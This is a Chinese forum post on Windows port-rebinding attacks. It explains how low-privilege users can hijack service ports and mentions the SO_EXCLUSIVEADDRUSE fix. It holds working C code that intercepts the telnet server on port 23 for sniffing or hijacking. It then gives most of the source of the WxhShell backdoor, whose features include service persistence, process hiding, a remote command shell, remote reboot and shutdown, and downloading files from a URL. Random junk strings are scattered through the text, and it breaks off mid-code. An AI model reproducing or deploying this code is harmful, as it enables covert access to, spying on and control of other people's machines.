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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E[nWB"pxE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X+P& up06  
`\q4z-<-  
  saddr.sin_family = AF_INET; X||o iqbY  
0FjSa\ZH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Trbgg  
o&;+!Si@T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 27t:-O  
RX=C)q2c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]J;^< 4l  
=:6Y<ftC  
  这意味着什么?意味着可以进行如下的攻击: KTBsH;6  
}.o rfW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a%;$l_wVT:  
Si6%6rAhj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?*4&Z.~J  
Bu>srX9f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l0tMdsz  
vj[ .`fY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vsqfvx  
8Th|'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M`Y~IG}  
6;I&{9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K}`.?6O  
/ta-jOcRH&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *@cXBav/<  
GLnj& Ve  
  #include bH3-#mw5w  
  #include rbO9NRg>  
  #include ,U],Wu)  
  #include    7AV!v`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6}n_r}kNR  
  int main() R\A5f\L9  
  { vs7Hg )F  
  WORD wVersionRequested; ysGK5kFz  
  DWORD ret; r$=iM:kERC  
  WSADATA wsaData; s$ &:F4=?  
  BOOL val; _+ oX9  
  SOCKADDR_IN saddr; xo6-Y=c8  
  SOCKADDR_IN scaddr; ?bmP<(N5/  
  int err; B3c rms['  
  SOCKET s; 5``/exG>  
  SOCKET sc; ;pBSGr 9  
  int caddsize; *-3K],^a  
  HANDLE mt; hG uRV|`  
  DWORD tid;   nP0|nPWz#  
  wVersionRequested = MAKEWORD( 2, 2 ); eqZ V/a  
  err = WSAStartup( wVersionRequested, &wsaData ); @4sv(HyDY  
  if ( err != 0 ) { $*H_0wQc  
  printf("error!WSAStartup failed!\n"); pu0IhDMn  
  return -1; S'9T>&<Kn  
  } FU;Tv).  
  saddr.sin_family = AF_INET;  pzg|?U  
   aVNRhnM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QO[!  
=v:vc~G6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :~~}|Eu  
  saddr.sin_port = htons(23); ;Lu%v%BM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kxn/@@z>u  
  { Z Mt9'w;  
  printf("error!socket failed!\n"); PL@hsZty~c  
  return -1; <wW#Wnc]  
  } ]p\7s  
  val = TRUE; mHM38T9C%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3 i Id>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3yszf Wr  
  { Ckj2$c~  
  printf("error!setsockopt failed!\n"); /a [i:Oa#  
  return -1; s+#gH@c  
  } hxP%m4xF +  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )M<"YI)g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3=RVJb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W-qec  
}%c2u/PQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E/v.+m  
  { *T-+Pm-Cq  
  ret=GetLastError(); ]>tYU   
  printf("error!bind failed!\n"); LBq~?Q.e  
  return -1; ",!#7h  
  } qjFz}6  
  listen(s,2); ;PCnEs  
  while(1) VUpa^R  
  { #k&"R v;,  
  caddsize = sizeof(scaddr); |`+kZ-M*  
  //接受连接请求 {Fs}8\z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V(I!HT5.W  
  if(sc!=INVALID_SOCKET) j]U sb_7  
  { X; I:i%-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QkS~~|0EI>  
  if(mt==NULL) 4wjy)VD_  
  { GqMa|8j  
  printf("Thread Creat Failed!\n"); ~P8 6=Vw  
  break; tS!Fn Qg4  
  } )9I>y2WU~  
  } 0zQ"5e?qy  
  CloseHandle(mt); qB6@OS  
  } 7#d>a=$h  
  closesocket(s); @ol=gBU  
  WSACleanup(); Q&+Jeji  
  return 0; HK&Ul=^VN|  
  }   5$f vI#NO<  
  DWORD WINAPI ClientThread(LPVOID lpParam) +Ysm6n '  
  { _&V%idz!0  
  SOCKET ss = (SOCKET)lpParam; %J(y2 }  
  SOCKET sc; (3cJ8o>&  
  unsigned char buf[4096]; 701a%Jq_2  
  SOCKADDR_IN saddr; P 4Vi~zMX  
  long num; KZy2c6XO;  
  DWORD val; FvYgpbEZ  
  DWORD ret; I><B6pIR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o>WB,i^G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W>f q 9  
  saddr.sin_family = AF_INET; DJ_[{WAV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4'3do>!  
  saddr.sin_port = htons(23); F6 mc<n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dbn9t7'{  
  { f>*T0"\c  
  printf("error!socket failed!\n"); w>#{Nl7gz  
  return -1; Lx%*IE|c  
  } n/W@H Im#  
  val = 100; aQ!QrTua-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nq]8p =e  
  { p7{2/m j  
  ret = GetLastError(); (=A61]yB  
  return -1; &T.d"i  
  } *JnY0xP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M3XG s|gw  
  { U ?iw  
  ret = GetLastError(); `wI$  
  return -1; V52>K$j  
  } u<L<o 2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @jL](Mq|]  
  { SjosbdD  
  printf("error!socket connect failed!\n"); {F!/\ 2a  
  closesocket(sc); Eep~3U  
  closesocket(ss); 0Q7teXRM  
  return -1; m}UcF oaO  
  } z*V 8l*  
  while(1) Clz. p  
  { &9Y ^/W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7MWd(n-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 epicY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n!aA<  
  num = recv(ss,buf,4096,0); YD3jP}Ym  
  if(num>0) 1NAGGr00  
  send(sc,buf,num,0); 2LfiaHO  
  else if(num==0) w"`Zf7a{/  
  break; @V?T'@W7D  
  num = recv(sc,buf,4096,0); nxWm  
  if(num>0) /^]/ iTg  
  send(ss,buf,num,0); 4,,DA2^!  
  else if(num==0) 8Y]% S9.  
  break; |,bP` Z  
  } zG0]!A  
  closesocket(ss); zRU9Q 2Y  
  closesocket(sc); vp32}ze D  
  return 0 ;  -uKTEG[  
  } F9} zt 9  
A"e4w?  
5cvvdO*C0  
========================================================== hW!2C6  
["O_ Phb|  
下边附上一个代码,,WXhSHELL /0swrt.  
8J#U=qYei  
========================================================== A"B#t"  
uTdx`>M,O  
#include "stdafx.h" 7|HIl=  
4s e6+oJe  
#include <stdio.h> kwXUjn p  
#include <string.h> _1?nLx7n  
#include <windows.h> Dm@h'*  
#include <winsock2.h> \#h{bnx  
#include <winsvc.h> *@{  
#include <urlmon.h> ur:8`+" (  
P BVF'~f@j  
#pragma comment (lib, "Ws2_32.lib") 4VHWoN"U  
#pragma comment (lib, "urlmon.lib") ?n]adS{  
}4g$ aTc  
#define MAX_USER   100 // 最大客户端连接数 Q>q-6/|UX  
#define BUF_SOCK   200 // sock buffer  Y(  
#define KEY_BUFF   255 // 输入 buffer uHsLlfTn  
o}&{Y2!x  
#define REBOOT     0   // 重启 eslvg#Q  
#define SHUTDOWN   1   // 关机 ]K3bDU~  
V'tqsKQ!  
#define DEF_PORT   5000 // 监听端口 **\?-*c=U  
i&1rf|  
#define REG_LEN     16   // 注册表键长度 cyLl,OA  
#define SVC_LEN     80   // NT服务名长度 Qgf\"s  
+1a3^A\  
// 从dll定义API Z l;TS%$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m2H?VY .^K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y^e3Gyk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aX~Jk >a0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0~z`>#W,  
jo?[M  
// wxhshell配置信息 -dWg1`;  
struct WSCFG { gKY6S?  
  int ws_port;         // 监听端口 1S(n3(KRk$  
  char ws_passstr[REG_LEN]; // 口令 NiFe#SLA  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,J '_Vi  
  char ws_regname[REG_LEN]; // 注册表键名 8f<y~L_(`  
  char ws_svcname[REG_LEN]; // 服务名 /N({"G'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :.tL~% q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RH:vd|q+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h-//v~V)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u(fZ^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [mv!r-=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mlCBstt{  
A|,qjiEJCc  
}; tot~\S  
@)x*62r+  
// default Wxhshell configuration piH0_7qr  
struct WSCFG wscfg={DEF_PORT, Fc8 0HK5R  
    "xuhuanlingzhe", "G-h8IN^O  
    1, BG8/  
    "Wxhshell", 6" <(M@  
    "Wxhshell", K@JaN/OM  
            "WxhShell Service", AAs&P+;  
    "Wrsky Windows CmdShell Service", [Y$ TVwFwX  
    "Please Input Your Password: ", Q-!gO  
  1, ).IyjHY  
  "http://www.wrsky.com/wxhshell.exe", j:qexhtho  
  "Wxhshell.exe" 7R7+jL,  
    }; ;c)( 'k<  
u}%6=V  
// 消息定义模块 @tPr\F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $qr6LIKGw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =-_hq'il  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >MKj~Ud  
char *msg_ws_ext="\n\rExit."; 9gdK&/ulR  
char *msg_ws_end="\n\rQuit."; K9.Gjw  
char *msg_ws_boot="\n\rReboot..."; V@T(%6<|  
char *msg_ws_poff="\n\rShutdown..."; F~qZIggD  
char *msg_ws_down="\n\rSave to "; "/RMIS K[;  
}#u #m.  
char *msg_ws_err="\n\rErr!"; jDqG9]  
char *msg_ws_ok="\n\rOK!"; Ef?hkq7X<  
tk*-Cx?_  
char ExeFile[MAX_PATH]; nT}Wx/aT  
int nUser = 0; b>8TH-1t~  
HANDLE handles[MAX_USER]; T)OR HJ&,  
int OsIsNt; @{q<"hT  
4p-"1 c$  
SERVICE_STATUS       serviceStatus; L@/IyQ[H1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |6b~c{bt  
oQ,<Yx%E3  
// 函数声明 cV0CI&  
int Install(void); ZZZ9C#hK^9  
int Uninstall(void); ypG*41  
int DownloadFile(char *sURL, SOCKET wsh); ~Gz9pBv1  
int Boot(int flag); d23=WNn  
void HideProc(void); kE .4 #  
int GetOsVer(void); "f_qG2A{  
int Wxhshell(SOCKET wsl); ;*t#:U*  
void TalkWithClient(void *cs); hm d3W`8D  
int CmdShell(SOCKET sock); {QylNC9  
int StartFromService(void); rIJPgF  
int StartWxhshell(LPSTR lpCmdLine); ;Su-Y!&%  
e2N K7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;5.&TQT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .,p=e$x]  
!rr,(!Ip?O  
// 数据结构和表定义 h*C!b?:"  
SERVICE_TABLE_ENTRY DispatchTable[] = |u^S}"@3sU  
{ x51R:x(p  
{wscfg.ws_svcname, NTServiceMain}, e%L[bGW'  
{NULL, NULL} T:Nk9t$W7@  
}; wB[f%mHs  
-qDqJ62mC  
// 自我安装 [bP^RY:  
int Install(void) >8k Xa.)84  
{ E5)0YYjHZ  
  char svExeFile[MAX_PATH]; ;J TY#)Bh  
  HKEY key; m<-!~ ew  
  strcpy(svExeFile,ExeFile); th[v"qD9G  
&`v?oN9$  
// 如果是win9x系统,修改注册表设为自启动 A2:}bb~H  
if(!OsIsNt) { ;]Q6K9.d8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }URdoTOvb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )V2W:M  
  RegCloseKey(key); >h;]rMD!|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gh ?[x.U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m","m  
  RegCloseKey(key); 0t^FM<7G  
  return 0; Wy7w zt  
    } `HQ)][  
  } v;o1c44;  
} X\ P%C  
else { "Mj#P9  
.waw=C  
// 如果是NT以上系统,安装为系统服务 ^wd@mWxx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b-VygLN  
if (schSCManager!=0) 77O$^fG2  
{ 7[;!enO  
  SC_HANDLE schService = CreateService &=kv69v  
  ( 196a~xNV  
  schSCManager, +:;ddV  
  wscfg.ws_svcname, F/5G~17  
  wscfg.ws_svcdisp, \(j*K6#  
  SERVICE_ALL_ACCESS, .5G`Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t!qLgJ5%y  
  SERVICE_AUTO_START, 0<\|D^m=&h  
  SERVICE_ERROR_NORMAL, f_S$CFa@  
  svExeFile, OA3J(4!"W  
  NULL, hbx4[Pf  
  NULL, ,7&\jET5^0  
  NULL, w!20  
  NULL, 3t TOs  
  NULL 2 3PRb<q  
  ); fYk>LW  
  if (schService!=0) IHO*%3mA/  
  { J#Hh4Kc  
  CloseServiceHandle(schService); V'XEz;Ze  
  CloseServiceHandle(schSCManager); XY'8oU`]{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c{/R?<  
  strcat(svExeFile,wscfg.ws_svcname); I </P_:4G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { imYfRi=$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fAULuF  
  RegCloseKey(key); M co:eE  
  return 0; dw<i)P^   
    } %`&n ;K.c  
  } FQ<x(&/NF  
  CloseServiceHandle(schSCManager); -pYmM d,  
} OOSf<I*>  
} _C/|<Ot:  
7@;*e=v  
return 1;  +x 3x  
} _h-agn4[i  
%[p*6&V  
// 自我卸载 A`3KE9ED  
int Uninstall(void) k2D*`\ D  
{ z[c8W@OJ  
  HKEY key; 4P3RRS  
KY  
if(!OsIsNt) { x *I'Ar  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]2@(^x'=  
  RegDeleteValue(key,wscfg.ws_regname); d%P2V>P  
  RegCloseKey(key); pWRdI_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .z,-ThTH@\  
  RegDeleteValue(key,wscfg.ws_regname); 9A.NM+u7  
  RegCloseKey(key); DS(>R!bb  
  return 0; aH6j,R%  
  } cj2Smgw&>  
} -NwG' U~  
} CB#2XS>V  
else { \XB,)XDB  
b;QgL_w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v"1&xe^4  
if (schSCManager!=0) ejV`W7U  
{ H>/,Re  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V4R s  
  if (schService!=0) <9pI~\@w  
  { =cl#aS}e8  
  if(DeleteService(schService)!=0) { K`N$nOw  
  CloseServiceHandle(schService); F\JS?zt2  
  CloseServiceHandle(schSCManager); viG=Ap.Th  
  return 0; ]x metv|7  
  } En&7e  
  CloseServiceHandle(schService); uY~mi9E  
  } _ooHB>sH  
  CloseServiceHandle(schSCManager); ]  & ]G  
} DL bP$&o  
} @M\JzV4 A[  
hD5@PeLh  
return 1; zdJPMNHg  
} aZ~e;}w.Zq  
-4QZ/*  
// 从指定url下载文件 _]*[TGap  
int DownloadFile(char *sURL, SOCKET wsh) X40gJV<  
{ c(hC'Cp  
  HRESULT hr; O;VqrO  
char seps[]= "/"; bsu?Q'q  
char *token; |iJz[%  
char *file; s>G6/TTH6  
char myURL[MAX_PATH]; O])vR<[  
char myFILE[MAX_PATH]; &k)+]r  
=&pR=vl  
strcpy(myURL,sURL); %t_'rv  
  token=strtok(myURL,seps); `P\H{  
  while(token!=NULL) nycJZ}f:wP  
  { 0i[t[_sce  
    file=token; e[x,@P`  
  token=strtok(NULL,seps); > U3>I^Y  
  } _\4r~=`HQ  
}%w;@[@L  
GetCurrentDirectory(MAX_PATH,myFILE); hRuiuGC  
strcat(myFILE, "\\"); }%wP^6G*x\  
strcat(myFILE, file); '(r?($s  
  send(wsh,myFILE,strlen(myFILE),0); &S.p%Qe"  
send(wsh,"...",3,0); Pq~#SxA~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); * g+v*q X  
  if(hr==S_OK) oa+'.b~  
return 0; hlyh8=Z6o  
else tx;2C|S$oU  
return 1; ,?U(PEO\f  
GAH<  
} VKXi*F9  
7]u_  
// 系统电源模块 8u[.s`^  
int Boot(int flag) :6C R~p  
{ f(}&8~&  
  HANDLE hToken; d+P<ce2 G  
  TOKEN_PRIVILEGES tkp; T:Q+ Z }v+  
0F!Uai1  
  if(OsIsNt) { aEQrBs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rfdA?X{Q0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); unYPvrd  
    tkp.PrivilegeCount = 1; !K_<7iExI\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :;#^gv H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,EH-Sf2Cb  
if(flag==REBOOT) { !bK;/)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ! pa7]cZ  
  return 0; 8oHIXnK  
} Y,n8co^  
else { /;TD n>lq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^l(,'>Cn  
  return 0; !`U #Pjp.  
} WFug-#;e  
  } t- //.  
  else { ]w)uo4<^J  
if(flag==REBOOT) { ;(g"=9e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $43CNnf3N  
  return 0; `ER#S_}  
} ('_S1?y  
else { " H=fWz5z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ) \cnz  
  return 0; ' wLW`GX.  
} 00W_XhJ  
} %&O'>L  
aIfB^M*c5  
return 1; 5',b~Pp  
} sGMnm  
Zg])uM]\2i  
// win9x进程隐藏模块 x6yO2Yo  
void HideProc(void) xNVSWi,  
{ Iak06E  
toox`|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~bjT,i  
  if ( hKernel != NULL ) >&qaT*_g  
  { \cAifU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zvz}Z8jW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^[ >  
    FreeLibrary(hKernel); vinn|_s%  
  } PPtJ/ }\  
PurY_  
return; H%Sx*|  
} ?rwHkPJ{*  
 YP}r15P  
// 获取操作系统版本 Ef6LBNWY.  
int GetOsVer(void) *5'l"YQ@1  
{ ]n|lHZR  
  OSVERSIONINFO winfo;  O6!:Qd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  2Y9@[  
  GetVersionEx(&winfo); O%s?64^U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cp 7;~i3  
  return 1; YcuHYf5  
  else htqC~B{1E  
  return 0; cNRe>  
} K}Pi"Le@W  
T+<OlXpL  
// 客户端句柄模块 [IuF0$w=dj  
int Wxhshell(SOCKET wsl) {&Sr<d5  
{ m[*y9A1  
  SOCKET wsh; ![@\p5-e  
  struct sockaddr_in client; Q-S5("  
  DWORD myID; X=b]Whuv  
<3aW3i/jTc  
  while(nUser<MAX_USER) V}"w8i+D?  
{ *6*/kV? F  
  int nSize=sizeof(client); 7tz #R :  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qeZ*!H6-  
  if(wsh==INVALID_SOCKET) return 1; SSI('6Z/  
8:(e~? f6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mMV -IL  
if(handles[nUser]==0) P&]PJt5  
  closesocket(wsh); Ej64^*  
else HvVS<Ke  
  nUser++; 2(sq*!tX  
  } 3sq(FsT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T $;N8x[  
IGtqY8  
  return 0; o5eFLJ6  
} 5%Q[X  
? v2JuhRe  
// 关闭 socket QZ51}i  
void CloseIt(SOCKET wsh) ,t_Fo-i7vI  
{ %7bZnK`C  
closesocket(wsh); CK+_T}+-  
nUser--; zmMz6\ $  
ExitThread(0); K2R[u#Q  
} Tb6c]?'U  
BWN[>H %S  
// 客户端请求句柄 u ?n{r  
void TalkWithClient(void *cs) d4zqLD$A  
{ C|A:^6d3=  
*aF<#m v  
  SOCKET wsh=(SOCKET)cs; RI%ZT  
  char pwd[SVC_LEN]; ;eeu 9_$  
  char cmd[KEY_BUFF]; mT2Fn8yC1  
char chr[1]; R\wG3Oxol  
int i,j; F$Q@UVA  
b 64~Y|8  
  while (nUser < MAX_USER) { )cy_d!  
Wg+fT{[f|  
if(wscfg.ws_passstr) { sy|{}NkA!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `<L6Q2Y>j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CL$mK5u  
  //ZeroMemory(pwd,KEY_BUFF); ,4wZ/r> d  
      i=0; 3[L)q2;}$N  
  while(i<SVC_LEN) { GUyc1{6  
@9pk-BB^D  
  // 设置超时 xv{iWJcs  
  fd_set FdRead; &\0`\#R  
  struct timeval TimeOut; 7QlA/iKqK  
  FD_ZERO(&FdRead); ^r<bi%@C$  
  FD_SET(wsh,&FdRead); `"E|  
  TimeOut.tv_sec=8; C9q`x2  
  TimeOut.tv_usec=0; :hp=>^$Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pxj ?W'|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :B<lDcFKJ  
EK^ld!g(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 C5m#e3  
  pwd=chr[0]; EnrRnVB  
  if(chr[0]==0xd || chr[0]==0xa) { *HwTq[y  
  pwd=0; ;!k1LfN  
  break;  @GYM4T  
  } QMzBx*g(  
  i++; G!54 e  
    } H! ZPP8]j>  
 [;D4,@A  
  // 如果是非法用户,关闭 socket o(. PxcD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =^P<D&%q  
} 7 3k3(rZ  
MdWT[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ".qh]RVjV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^z$-NSlI  
h{]l?6`  
while(1) { oU m"qt_  
w$7*za2  
  ZeroMemory(cmd,KEY_BUFF); ?EeHeN_  
e jwFQ'wTx  
      // 自动支持客户端 telnet标准   5w`v 3o  
  j=0; o_<o8!]l"  
  while(j<KEY_BUFF) { & h9ji[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +EcN[-~  
  cmd[j]=chr[0]; }@V(y9K  
  if(chr[0]==0xa || chr[0]==0xd) { er}/~@JJ  
  cmd[j]=0; 6tM CpSJ  
  break; +E QRNbA  
  } {vAq08  
  j++; -lyT8qZ:(  
    } POc< G^  
Bya!pzbpr  
  // 下载文件 <UG}P \N  
  if(strstr(cmd,"http://")) { b:>(U.   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )[6H!y5  
  if(DownloadFile(cmd,wsh)) 8J%^gy>m]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &|H?J,>  
  else 0vUX^<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HW{osav9  
  } QdG_zK>|e  
  else { [[?:,6I  
}@}jwi)l  
    switch(cmd[0]) { }(dhXOf\q  
  Q5iuK#/  
  // 帮助 )2z (l-$.  
  case '?': { 0,nDyTS^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;|b D@%@  
    break; IyYC).wU}  
  } x+"~-KO8q$  
  // 安装 w:& m_z#M  
  case 'i': { 9>qR6k ?  
    if(Install()) on+ c*#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZ'S~Lr   
    else _odP:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r<Ll>R  
    break; 8MM#q+8  
    } s*:J=+D]G  
  // 卸载 $)mE"4FE  
  case 'r': { z![RC59 S  
    if(Uninstall()) sn/^#Aa=N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y:D|U!o2V  
    else !SD?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wnP#.[,V  
    break; B+wSLi(  
    } FlRbGg^  
  // 显示 wxhshell 所在路径 @X"p"3V  
  case 'p': { G#8HY VF  
    char svExeFile[MAX_PATH]; _NA0$bGN9  
    strcpy(svExeFile,"\n\r"); n!&DLB1z  
      strcat(svExeFile,ExeFile); \q(RqD  
        send(wsh,svExeFile,strlen(svExeFile),0); Ytc  
    break; t*< .^+Vd  
    } o';sHa'  
  // 重启 \D<rT)Tl  
  case 'b': { ;-lk#D?n9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v}IkY  
    if(Boot(REBOOT)) T c4N\Cy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]oVVf_  
    else { k;R*mg*K  
    closesocket(wsh); &p^ S6h  
    ExitThread(0); .KGW#Qk8  
    } r Ka7[/  
    break; ^UZEdR;  
    } +iir]"8  
  // 关机 `B"=\0  
  case 'd': { =K=FzV'_~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =GTltFqI1  
